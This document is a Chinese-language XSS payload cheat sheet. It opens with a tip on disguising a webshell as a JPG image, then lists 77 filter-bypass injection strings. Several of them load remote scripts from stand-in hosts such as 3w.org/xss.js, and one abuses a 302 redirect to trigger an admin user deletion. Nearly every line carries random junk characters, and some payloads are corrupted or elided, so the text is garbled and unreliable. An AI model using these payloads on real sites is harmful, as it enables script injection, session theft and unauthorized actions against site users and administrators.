跨站图片shell
) ~/ T& |" A4 n* c# ~XSS跨站代码 <script>alert("")</script># P4 d {. X3 k" v. m$ {, |1 {
( K& C) N' g# U4 p将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
. r0 k( p C3 q: T1 F' _% g! X8 F9 I* E
; X) J- f2 n5 o' |$ @" g
1 V& z. U. T! b5 L) o3 g1)普通的XSS JavaScript注入
0 X" l4 k9 e; c( A* f* ?, o<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
8 U7 @, u# v% b" Z* w+ i8 E, A9 @! \9 o* O
(2)IMG标签XSS使用JavaScript命令
4 Q( r; Q% d5 P" ^' [% Z$ j! `<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
1 V1 d; E2 p+ C9 z) Y
- x! @( m4 V$ P. x(3)IMG标签无分号无引号' S9 N P( E- a/ {. d
<IMG SRC=javascript:alert(‘XSS’)>5 Y- c0 f; F% v. D. M
3 g9 }# a6 x0 g$ _( ~(4)IMG标签大小写不敏感
- v9 q8 [7 V4 Q6 ~3 z0 o<IMG SRC=JaVaScRiPt:alert(‘XSS’)>/ x l% {% ~7 I) l% j
% |8 e" n) U/ Y, Y. K/ Q1 M(5)HTML编码(必须有分号)
, o, K1 X9 R3 E3 P+ |; L( F" B<IMG SRC=javascript:alert(“XSS”)>
2 T ]" q. M" s/ X4 H/ j
B* u( u' M. s4 z/ w(6)修正缺陷IMG标签$ c# G+ x; y0 q, `- I& J" T
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>, j; ]1 |# Q* e0 K/ t- h% g
# K5 ^, F' d" [' S: n4 j J
(7)formCharCode标签(计算器)+ u, t7 w& j, r+ G ], Y
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
0 U+ p5 o& \: {5 R1 p9 \7 n" @1 ]8 ]. O
(8)UTF-8的Unicode编码(计算器)
' F4 x8 i- y/ X ]( U, d<IMG SRC=jav..省略..S')>4 G: K; `9 `. {1 }7 g. t6 U
6 ^# _' j0 W3 T6 O5 z, _8 ~
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
- M! t: V8 y( _+ |7 c% ]<IMG SRC=jav..省略..S')>, R$ |$ ^" q( g5 l* f% v+ Z% w
( v& k6 T1 I4 `1 p) s6 b4 M
(10)十六进制编码也是没有分号(计算器) m: h5 a1 y" k4 |# N+ }. F0 k |
<IMG SRC=java..省略..XSS')>
" F* A* C8 N5 U* u7 K2 H8 d6 ? ?* ^/ t" n
(11)嵌入式标签,将Javascript分开5 [7 r7 J h$ p% Y* R4 e* d# l
<IMG SRC=”jav ascript:alert(‘XSS’);”>; s2 n! j; k$ M1 q! d. W
- r5 j/ \, Q# ]% v0 v7 H4 I; ^
(12)嵌入式编码标签,将Javascript分开
$ M+ S! u( d+ W4 }3 E" [) ]<IMG SRC=”jav ascript:alert(‘XSS’);”>
8 s* W0 o C. M5 z, j' ?! P: ^* a# q% ]" P' ^
(13)嵌入式换行符
8 S3 z$ K0 G# Q7 D$ l$ X- S8 _<IMG SRC=”jav ascript:alert(‘XSS’);”>
( a' a3 D, g# Y. i! H. b4 w8 L9 x2 K! L
(14)嵌入式回车- Z4 O( O# N" {' ]; `5 D# {! ^
<IMG SRC=”jav ascript:alert(‘XSS’);”>7 O" P0 Q8 c k" w6 M* Y
$ c0 c3 M/ t! w4 t W. m& C(15)嵌入式多行注入JavaScript,这是XSS极端的例子
2 f7 _9 _- X7 [/ ^<IMG SRC=”javascript:alert(‘XSS‘)”>; [' U3 K/ y1 ~( e
1 y1 C1 S, h) y- l
(16)解决限制字符(要求同页面)
! U( L; O$ r5 ]" M1 v8 @<script>z=’document.’</script>2 }* l' E0 T3 j; n9 e" b6 k" s
<script>z=z+’write(“‘</script>
. l' q& s# [0 W- D+ s+ @9 r+ m, }<script>z=z+’<script’</script>! I3 |3 r5 Z: K' f1 X
<script>z=z+’ src=ht’</script>* t' l2 e& T+ ?2 Q0 H/ G
<script>z=z+’tp://ww’</script>% z) u! M' K. p3 ?6 ~
<script>z=z+’w.shell’</script>
; t1 p3 J6 B, L1 w& U<script>z=z+’.net/1.’</script># X; k; y( V, C0 [4 _
<script>z=z+’js></sc’</script>
: n, K4 U( w* R<script>z=z+’ript>”)’</script>8 P. ~4 M' M3 C# m3 b
<script>eval_r(z)</script>
# x' F( ]1 U/ }( J7 A. B. r, |4 U4 l
(17)空字符+ _1 v# _2 @. n# _: j
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out* k# O" L0 b9 Z1 s5 ^& _& y, @' T
8 O4 F" v- o2 g
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用 J/ l. S7 k3 C, K% H) r }
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out1 ~- i2 z( e, s) Y3 c. b, z1 {2 G) A
2 z$ a I* I& Y& h2 o(19)Spaces和meta前的IMG标签$ |; p2 S/ w' Q/ K/ _2 O. t5 i/ k/ n' J
<IMG SRC=” javascript:alert(‘XSS’);”>4 `' b, H+ K4 i5 x2 J
0 g! L* B8 q; @! _; m0 t(20)Non-alpha-non-digit XSS$ N3 K$ d- v2 m" _
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>8 W0 O2 I D' M" `& l
4 u0 P/ N6 `8 l# A/ C( n% J(21)Non-alpha-non-digit XSS to 29 ]( q& S# F) I- w5 a9 t! V$ X! |( E3 C
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
! ^5 \' A- n# X- K' v P; V! v* y: k6 _5 W
(22)Non-alpha-non-digit XSS to 3
1 ^+ T" _; m7 u W- S<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
9 P7 W. k, h( R$ g0 i4 r V! n
0 V3 z4 Z9 h1 b. L(23)双开括号1 l; ~& [& O: t0 {2 Q' b
<<SCRIPT>alert(“XSS”);//<</SCRIPT>* T' f n! \4 ~
$ h; u6 ~- n, _5 y* R) ~(24)无结束脚本标记(仅火狐等浏览器)
* W9 x( z( `6 ~9 X<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
8 R5 H/ |% e& B
: u. o Z4 [! K1 K! K% s(25)无结束脚本标记2
- c/ A! d& [( M<SCRIPT SRC=//3w.org/XSS/xss.js>0 [& V" @& p# |( a$ c
6 k" O! \ `- H8 h8 b D$ c% C
(26)半开的HTML/JavaScript XSS2 \6 c) |# I' W- t1 S
<IMG SRC=”javascript:alert(‘XSS’)”
; {( V4 R* `5 H, q _2 r+ x. c' O5 L# t# } P
(27)双开角括号+ m( U" d$ a1 [
<iframe src=http://3w.org/XSS.html <
' w- A# A# i: o, L+ K! N# T& b) J$ Q& B3 r; P7 I) o: J I
(28)无单引号 双引号 分号
7 e* i% n, q# B0 b3 C7 E<SCRIPT>a=/XSS/
5 d( y7 A" N; Y9 F. lalert(a.source)</SCRIPT>
- m0 z% L% S8 e: P# j6 v# L! w' X% j: H; b" K7 S! i/ ~
(29)换码过滤的JavaScript
0 [+ k- h, v; O Q7 k& {\”;alert(‘XSS’);//
: G+ e+ X1 {8 C5 ]) z6 e. I5 [7 a2 S" d7 P3 J' u" u
(30)结束Title标签% p, i1 V/ e5 @5 I
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>- }- x% l: e0 |# O6 e- J
; U Z+ w8 E: ~) G* W' ~
(31)Input Image' u$ D1 C, @8 O3 ?( h9 o* `: M
<INPUT SRC=”javascript:alert(‘XSS’);”>. `* k2 {* D* q6 [6 B# c6 i
i) t" B+ R) D+ m(32)BODY Image
, V& B i/ m9 h: C$ V<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
$ F% P- x5 u7 k: O! F: ]- o* Y2 q4 _; E
(33)BODY标签
& Q9 x6 c5 M2 l& Z# ?<BODY(‘XSS’)>, Y4 |' [3 ~3 J( _
/ R4 C2 i4 _9 y) m+ F3 i+ L$ s(34)IMG Dynsrc
+ e, G& A5 L0 |9 K s# p# _! r<IMG DYNSRC=”javascript:alert(‘XSS’)”>
& s7 j% x0 h- t3 @# k/ ~2 H$ h; D1 }( Y& m; x4 C. f
(35)IMG Lowsrc1 ]5 y) Q: x6 n$ F0 r
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
9 K6 X H- ]2 s( e: b9 M; s7 J- ^7 i* w. u3 q' i$ V: S* V2 o$ [3 D
(36)BGSOUND: F' y6 x4 h' f- u+ q+ S" l
<BGSOUND SRC=”javascript:alert(‘XSS’);”>+ k, R h2 Y z
. b1 Y' [: l0 R1 k' K0 j(37)STYLE sheet
i& S9 o" o# T0 Y1 p5 d<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>5 P/ z4 ^2 @& ?, Y B- @
1 y% G" O# R- k/ e(38)远程样式表
# U; ?( E3 P6 l<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>' K, r& w v+ Y4 T8 R
5 M& n3 w8 p* O& J8 c8 c' s( ~
(39)List-style-image(列表式)4 t) ]* m; }. }9 |0 l7 Z
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
( v" M; [: ]1 |2 j7 b; ~0 F9 r: r f( T1 v+ P7 u* L( M' O/ y) o
(40)IMG VBscript
) [0 f: s& D; Z+ T$ B<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS4 @ D) s2 R1 t' c5 t4 a2 `) c7 e
, c# t" v" B _3 ?. _
(41)META链接url
& \# b0 _0 _) Z" {5 p- x<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
- C6 I# O4 l6 t. N" x4 @
) P7 [( Q+ S& z+ \# Z0 R5 P7 {(42)Iframe3 r9 y* L- F; v0 u
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
+ z0 N6 c# @, V1 P(43)Frame
5 b' x2 |( b' R4 Z# q<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
* S( Q7 C% |0 U- m3 L3 H, A6 I3 x, I; o7 D
(44)Table: W7 j0 t6 a7 l5 V
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>& j* L$ \. `" h4 [
; N& l( U& ?4 {; j. u/ V" y
(45)TD! J) [, D) [! p5 F; w& u9 d
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
: ?/ c$ U7 T: Z3 _$ X/ j/ E/ }4 c) r. r3 E( ~$ j
(46)DIV background-image
) u- Y& V3 ^0 q' a M3 |* y<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> i7 H& v) F- L' ^
% F8 ?& J4 N3 c7 K8 h/ _
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)0 o% @ l* Y2 G1 I! ^' b
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
+ H5 i! G+ }1 w0 ]# H) }. B" D- _) _) A( O( Q* w
(48)DIV expression, d s( I. a. N: Q( e5 }3 [, M
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>( H* V5 v$ d/ Y f& O+ [
; q( q: n8 l+ Z7 h: o
(49)STYLE属性分拆表达3 C2 H+ |5 r& X( }6 v
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>6 c# a6 m0 q& C4 c
2 w4 _5 D- J. ~2 c) z2 g
(50)匿名STYLE(组成:开角号和一个字母开头) C" R4 A+ O2 `
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>3 [8 j) B9 h% q. ] t
& X6 F3 |$ r6 C' K0 r
(51)STYLE background-image% I6 D, u; a2 z1 {& w' o
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>: {% R1 R1 S. W* U/ p$ K! a
1 J p+ m8 n: Z; k(52)IMG STYLE方式. U8 w# K5 _6 t# o$ i2 G( P% `
exppression(alert(“XSS”))’>% @5 r. _! V( B$ }
$ u9 O1 Z5 E4 i! U7 F(53)STYLE background, c% W7 E1 f$ D
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
8 {& ]1 C8 y3 D
$ D v) E- t- `% U; u& S3 [(54)BASE
6 @* X' H8 O: q<BASE HREF=”javascript:alert(‘XSS’);//”>" }1 G4 v, h# M% O$ ~
2 |# f: m; P, T/ d, I
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS; S6 }. y( G. S9 @" \
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>! |) C* A: l: ]# A' ?/ l' J2 K
; Y/ H' R5 q V. W5 w
(56)在flash中使用ActionScrpt可以混进你XSS的代码) @: C' k& [& J; _' Y
a=”get”;8 ?; h$ L! O9 n( n" s5 @/ p
b=”URL(\”";
. {2 u0 ^$ a( o5 a5 p- l- v/ rc=”javascript:”;9 r* r4 M$ i8 |' H
d=”alert(‘XSS’);\”)”;
. ]" i/ e# ~( R% C* r3 qeval_r(a+b+c+d);
. ?6 x9 ^( L& j7 x
+ [3 O4 o' v; t3 l4 H: K(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
8 B- k4 x2 u0 F$ g6 L+ r9 _<HTML xmlns:xss>7 F7 v4 R9 T! f( ?; D- A. L
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>) l9 P0 X* J& d2 I J
<xss:xss>XSS</xss:xss>3 x7 ], c0 H! m" q4 R) S9 D
</HTML>
9 y0 H2 u6 K7 z6 p( u1 F
$ k1 H! ^* {4 H( ], Q% ?2 a; c$ X, ?(58)如果过滤了你的JS你可以在图片里添加JS代码来利用; S" D# ^3 _% E: I' j$ ^' }
<SCRIPT SRC=””></SCRIPT> b/ B @1 r$ i
+ L+ t0 K0 `5 ]9 e8 R$ Y* W/ q) i(59)IMG嵌入式命令,可执行任意命令
" d" M, ? T- n3 i, o" X/ \5 i<IMG SRC=”http://www.XXX.com/a.php?a=b”>; {9 e% h( K% E) U- n4 `! ]+ x4 z
$ G" Q% g# |7 o' }2 Y ]5 H) Q3 C6 j(60)IMG嵌入式命令(a.jpg在同服务器)- I1 h a8 K0 L5 \. d9 H
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser u% }7 t6 M' k6 l1 ]
8 p4 |& i( f7 C: u6 ]( y+ G1 X
(61)绕符号过滤
# d |# }# e# I! q* E1 H1 K' a# ^<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
- C5 X. B! \; O$ C7 G( E& T1 e) e' _5 ^+ i9 ]& `+ q& n
(62)
7 u; D9 N' N6 x1 ]1 U<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>2 g3 J) E9 h3 E {: v( r
* b, G3 Y/ r' |; F
(63)& }7 G) E" I4 B& g, K: a# L# u. H
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
0 u. r a0 f1 E
! l, Q" W. K b(64); I# L' [+ v; r! z
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>6 I8 g' j1 F; S
% I) }9 G) L& w. v7 P; r
(65)$ a) V+ Q9 }- G1 b: h
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>2 Q% P! Y, A i& g y& J
7 @! u$ a" }7 _1 t8 {) j5 L; Q(66)0 p" g$ I/ O6 ?& J5 x4 ^+ k4 |. g
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
5 v% Z; i7 ~$ z {+ `
! v# u2 y8 `# {(67)
2 A( h; N7 `, J6 a# X" O: J7 H" y<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
* X% |) M0 P) R9 x! M4 N$ `4 u
& |3 T4 d4 W% ?# m9 u(68)URL绕行
$ Q$ Z3 K: q7 P3 F8 k7 _) `<A HREF=”http://127.0.0.1/”>XSS</A>* ?9 l7 @$ U( b- K+ U0 o
- _* t( h7 m& T
(69)URL编码
5 M+ w( R8 a, f/ J- a- O% d$ i<A HREF=”http://3w.org”>XSS</A>
& J$ D4 P: Y4 T' e. U# i$ b' J
: v* h2 ^/ n O! S$ Z- l9 Y; B(70)IP十进制5 C; |. \( W& D2 k& w2 I0 |* L: X+ _
<A HREF=”http://3232235521″>XSS</A>
3 b0 x( o$ _* f# ?7 x* [$ L. R; A5 ], z/ ~. y0 z7 n7 |- o! `+ a
(71)IP十六进制) C8 X. ]. F* K5 e0 d3 u
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>3 S0 b, n1 d, C
) h# ~, S( A0 u(72)IP八进制) x! n, [' Z. n+ P& L( @
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
7 Z' z' U# v1 h3 S' X4 \; j( Z% }2 h, _0 }0 O5 g
(73)混合编码- D, M1 {( r" I
<A HREF=”h/ ^0 z1 ^3 i1 X( Z
tt p://6 6.000146.0×7.147/”">XSS</A>; o# {* q9 S# p$ r
& ]' z' W- ^% u! x/ R(74)节省[http:]4 Y P. P0 \- E, v
<A HREF=”//www.google.com/”>XSS</A>
7 n0 K" \# a/ w. d1 x0 M: s" q0 i2 k% H9 w5 T
(75)节省[www]3 Y! A6 ~8 R$ Q2 l5 M
<A HREF=”http://google.com/”>XSS</A>
+ W$ u. ?3 b, y: ^3 B j
; `$ [- b: F) ?( k, Y. \, U(76)绝对点绝对DNS
3 U% b5 k2 ?0 k7 ]8 C0 N<A HREF=”http://www.google.com./”>XSS</A>% R+ J# F$ o& e+ l' s4 R
& ~" ?0 i( W4 {7 C+ j+ R(77)javascript链接# B& d4 i) K5 a" v# L" X, W# }
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>( |* h/ a" B ~' a
|